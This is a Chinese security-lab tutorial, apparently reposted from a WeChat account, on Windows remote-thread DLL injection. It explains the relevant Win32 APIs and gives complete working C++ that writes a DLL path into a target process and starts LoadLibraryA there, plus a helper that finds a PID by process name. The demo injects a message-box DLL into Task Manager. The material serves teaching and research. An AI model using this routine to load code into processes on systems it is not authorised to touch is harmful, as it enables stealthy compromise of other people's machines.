远线程注入

admin 2022年11月7日21:45:43评论18 views字数 5427阅读18分5秒阅读模式

远线程注入

简介

有时为了方便对进程中的数据进行修改,我们需要将可执行的shellcode或者dll注入到目标进程中。

注入技术有很多,比如:

  • • 通过createRemoteThread和LoadLibrary进行远线程注入

  • • 通过全局钩子hook

  • • 通过修改注册表进行注入

  • • APC注入

  • • 等等

  • 远线程注入是指在另一个进程中创建线程的技术,在另一个进程中创建线程然后注入dll文件。

相关函数介绍

OpenProcess()

打开一个进程,如果是系统进程则需要管理员权限才能打开。

函数声明:

HANDLE WINAPI OpenProcess(
  _In_ DWORD dwDesiredAccess,
  _In_ BOOL bInheritHandle,
  _In_ DWORD dwProcessId
)
  • • 参数一 : dwDesiredAccess 访问进程对象,是进程访问权限,可以设置 PROCESS_ALL_ACCESS

  • • 参数二 : bInheritHandle 该值为TRUE 则此进程创建的句柄将继承该句柄,否则不会继承

  • • 参数三 : dwProcessId 需要打开的进程 pid

  • • 返回值 : 函数执行成功返回打开进程的句柄,执行失败返回NULL

    VirtualAllocEx()

在一个进程中开辟一块空间。

函数声明:

LPVOID WINAPI VirtualAllocEx(
  _In_ HANDLE hProcess,
  _In_opt_ LPVOID lpAddress,
  _In_ SIZE_T dwSize,
  _In_ DWORD flAllocationType,
  _In_ DWORD flProtect
)
  • • 参数一 : hProcess 进程的句柄,该句柄必须有PROCESS_VM_OPERATION 权限

  • • 参数二 : lpAddress 指定要分配的页面的起始地址的指针,设置为NULL则自动分配内存

  • • 参数三 : dwSize 要分配的内存的大小

  • • 参数四 : flAllocationType 内存分配类型

  • • 返回值 : 函数执行成功返回分配的页面的基址,失败返回NULL

    WriteProcessMemory()

向一个特定的进程中写入数据。

函数声明:

BOOL
WINAPI
WriteProcessMemory(
  _In_ HANDLE hProcess,
  _In_ LPVOID lpBaseAddress,
  _In_reads_bytes_(nSize) LPCVOID lpBuffer,
  _In_ SIZE_T nSize,
  _Out_opt_ SIZE_T* lpNumberOfBytesWritten
);
  • • 参数一 : hProcess 要修改进程内存的句柄

  • • 参数二 : lpBaseAddress 需要写入的进程中的基地址指针

  • • 参数三 : lpBuffer 要写入的数据的地址指针

  • • 参数四 : nSize 写入数据的字节数

  • • 参数五 : lpNumberOfBytesWritten 一个变量接受传入进程字节数,可以设为 NULL 忽略该参数

  • • 返回值 : 函数执行成功,返回不为0,失败返回0

    CreateRemoteThread()

在另一个进程中创建一个新的线程。

函数声明:

HANDLE
WINAPI
CreateRemoteThread(
  _In_ HANDLE hProcess,
  _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_ SIZE_T dwStackSize,
  _In_ LPTHREAD_START_ROUTINE lpStartAddress,
  _In_opt_ LPVOID lpParameter,
  _In_ DWORD dwCreationFlags,
  _Out_opt_ LPDWORD lpThreadId
);
  • • 参数一 : hProcess 需要创建线程的进程句柄

  • • 参数二 : lpThreadAttributes 指向想新线程的安全描述符,可以设置为 NULL 将获得默认的安全描述符

  • • 参数三 : swStackSize 堆栈的初始大小,可以设为0则为默认大小

  • • 参数四 : lpStartAddress 至相关新线程要执行的函数的指针

  • • 参数五 : lpParameter 指向给新线程执行函数的参数

  • • 参数六 : dwCreationFlags 控制线程创建的标志,若为0则在创建线程后立即执行

  • • 参数七 : lpThreadId 一个指向线程标识符的变量的指针,设置为 NULL 不返回线程标识符

  • • 返回值 : 函数执行成功返回新线程的句柄,失败返回 NULL

    GetMosuleHandleA()

检索指定模块的模块句柄。

函数声明:

HMODULE
WINAPI
GetModuleHandleA(
  _In_opt_ LPCSTR lpModuleName
);
  • • 参数一 : lpModuleName 需要加载的模块的名称

  • • 返回值 : 执行成功返回指定模块的句柄,失败返回 NULL

    GetProcAddress()

从指定的动态链接库中找到导出函数或者变量。

函数声明:

WINBASEAPI
FARPROC
WINAPI
GetProcAddress(
  _In_ HMODULE hModule,
  _In_ LPCSTR lpProcName
);
  • • 参数一 : hModule 指向dll模块的句柄

  • • 参数二 : lpProcName 需要找的函数或变量名字

  • • 返回值 : 执行成功返回函数地址,失败返回 NULL

    具体实现

有了上述几个win的api我们就可以实现远线程注入了,在windows中,不同进程加载的ntdll.dll、kernel32.dll这2个最基本的DLL一般地址是一样的,所以我们在当前进程找到这两个dll中的导出函数就可以得到别的进程中的该函数地址。

所以远线程注入的基本思路就是:

  1. 1. 通过OpenProcess打开一个进程

  2. 2. 通过GetModuleHandleA和GetProcAddress找到某个dll导出函数的地址,这里我们选择了LoadLibraryA

  3. 3. 通过VirtualAllocEx在第一步打开的进程中创建一块可读可写可执行的空间

  4. 4. 使用WriteProessMemory在第三步开辟的空间中写入要注入的dll路径

  5. 5. 最后使用CreateRemoteThread在第一步打开的进程中创建一个线程,执行LoadLibraryA函数加载恶意的dll文件 具体代码如下,这里的参数一 pid 就是需要注入的进程pid,dllPath就是要注入的dll文件的路径,dllSize就是dll文件的路径大小。

这里createRemoteThread的第四个参数是创建新线程后执行的函数,第五个参数是执行该函数传入的参数,而LoadLibraryA刚好只需要一个参数,所以创建线程后调用该函数然后传入要加载的dll文件的路径,这样就可以加载恶意的dll文件了。

bool remoteThreadInject(DWORD pid, char* dllPath, size_t dllSize) {
// 根据ID打开进程的句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (!hProcess) {
  std::cout << "OPEN PROCESS ERR..." << std::endl;
  return false;
}
 
// 拿到loadlibary的地址
HMODULE hModule = GetModuleHandleA("kernel32.dll");
if (!hModule) {
  std::cout << "GET MODULE ERR..." << std::endl;
  CloseHandle(hProcess);
  return false;
}
 
FARPROC funcAddr = GetProcAddress(hModule, "LoadLibraryA");
if (!funcAddr) {
  std::cout << "GET FUNCADDR ERR..." << std::endl;
  CloseHandle(hProcess);
  return false;
}
 
// 在进程中开辟空间
LPVOID newAddr = VirtualAllocEx(hProcess, 0, dllSize + 1, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!newAddr) {
  std::cout << "ALLOC ADDR ERR..." << std::endl;
  CloseHandle(hProcess);
  return false;
}
 
// 向进程写数据
bool Ret = WriteProcessMemory(hProcess, newAddr, dllPath, dllSize, 0);
if (!Ret) {
  std::cout << "WRITE ERR..." << std::endl;
  VirtualFreeEx(hProcess, newAddr, 0, MEM_RELEASE);
  CloseHandle(hProcess);
  return false;
}
 
// 在进程中创建线程执行
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)funcAddr, newAddr, 0, 0);
if (hThread == 0) return false;
 
WaitForSingleObject(hThread, 4294967295);
VirtualFreeEx(hProcess, newAddr, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}

如何获得进程的pid

我们可以通过任务管理器来查看相关进城的pid,但是在程序中我们得使用相关API来获得。

这里介绍三个windows的API:

CreateToolhelp32Snapshot
Process32First
Process32Next

先通过 CreateToolhelp32Snapshot 返回一个进程镜像。 然后通过 Process32First 和 Process32Next 遍历进程通过进程名字来匹配到相关pid。

具体代码实现如下:

DWORD getPid(const WCHAR* tmp) {
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
 
HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 
if (handleSnap == INVALID_HANDLE_VALUE) {
  std::cout << "CreateToolhelp32Snapshot ERROR..." << std::endl;
  return 0;
}
 
BOOL Ret = Process32First(handleSnap, &pe32);
while (Ret) {
  if (!wcscmp(pe32.szExeFile, tmp)) {
    return pe32.th32ProcessID;
  }
  Ret = Process32Next(handleSnap, &pe32);
}
CloseHandle(handleSnap);
std::cout << "NO SUCH PROCESS" << std::endl;
return 0;
}

效果展示

首先我实现了一个dll文件,在被加载的时候就弹一个messagebox:

远线程注入

这里我们选择任务管理器进行注入,因为任务管理器是系统进程,所以我们需要使用管理员权限打开

远线程注入

可以看到成功注入dll文件,弹出了messagebox

使用Process Explorer查看,成功加载了dll

远线程注入



-END-

远线程注入如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。远线程注入



  推荐关注:





远线程注入
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~




原文始发于微信公众号(弱口令安全实验室):远线程注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月7日21:45:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远线程注入https://cn-sec.com/archives/1395587.html

发表评论

匿名网友 填写信息